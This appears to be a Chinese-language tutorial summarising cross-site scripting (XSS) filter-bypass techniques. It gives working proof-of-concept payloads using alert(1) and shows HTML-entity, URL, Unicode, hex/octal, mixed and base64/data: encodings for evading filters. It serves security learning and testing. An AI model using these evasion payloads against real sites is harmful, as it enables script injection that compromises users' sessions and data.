xss绕过总结

一、xss 常见标签语句

1
2
3
4
5
`<a href="javascript:alert(1)">test</a>`
`<img src=x onerror="alert(1)">`
`<iframe src="javascript:alert(1)">test</iframe>`
`<svg onload=javascript:alert(1)>`
`<input onfocus="alert('xss');" autofocus="">`

二、xss 常见绕过

1.编码绕过

浏览器对 XSS 代码的解析顺序为:**HTML解码 —— URL解码 —— JS解码(只支持UNICODE)**。

1.html 实体编码

当可控点为单个标签属性时,可以使用 html 实体编码。

1
`<a href="可控点">test</a>`
1
`<a href="javascript:alert(1)">test</a>`

十进制

1
`<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>`

十六进制

可以不带分号

可以填充0

2.url 编码

当注入点存在 href 或者 src 属性时,可以使用 url 编码。

1
`<a href="javascript:alert(1)">test</a>`

注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

1
`<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>`

可以二次编码

3.js 编码

解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行解码后为alert,而alert是一个有效的标识符名称,它是能被正常解析的。但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。

由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。

1
`<img src=x onerror="alert(1)">`

Unicode 编码

1
`<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">`

注:Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 “1” 进行编码,框号编码后会被当成文本字符,不能执行。ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

八进制和十六进制

setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

语法:setTimeout(要执行的代码, 等待的毫秒数)

1
`setTimeout(JavaScript 函数, 等待的毫秒数)`
1
`<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>`

4.混合编码

由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

1
2
3
4
5
6
7
8
`1. 原代码
<a href="javascript:alert(1)">test</a>
2. 对alert进行JS编码(unicode编码)
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
3. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
4. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>`

注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

5.base64 编码

base64 编码通常需要使用到 data 伪协议。

data 协议使用方法:data:资源类型;编码,内容

base64编码内容为

1
2
`<script>alert(/xss/)</script>`
`PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=`

通常与 base64 编码配合 data 协议的标签有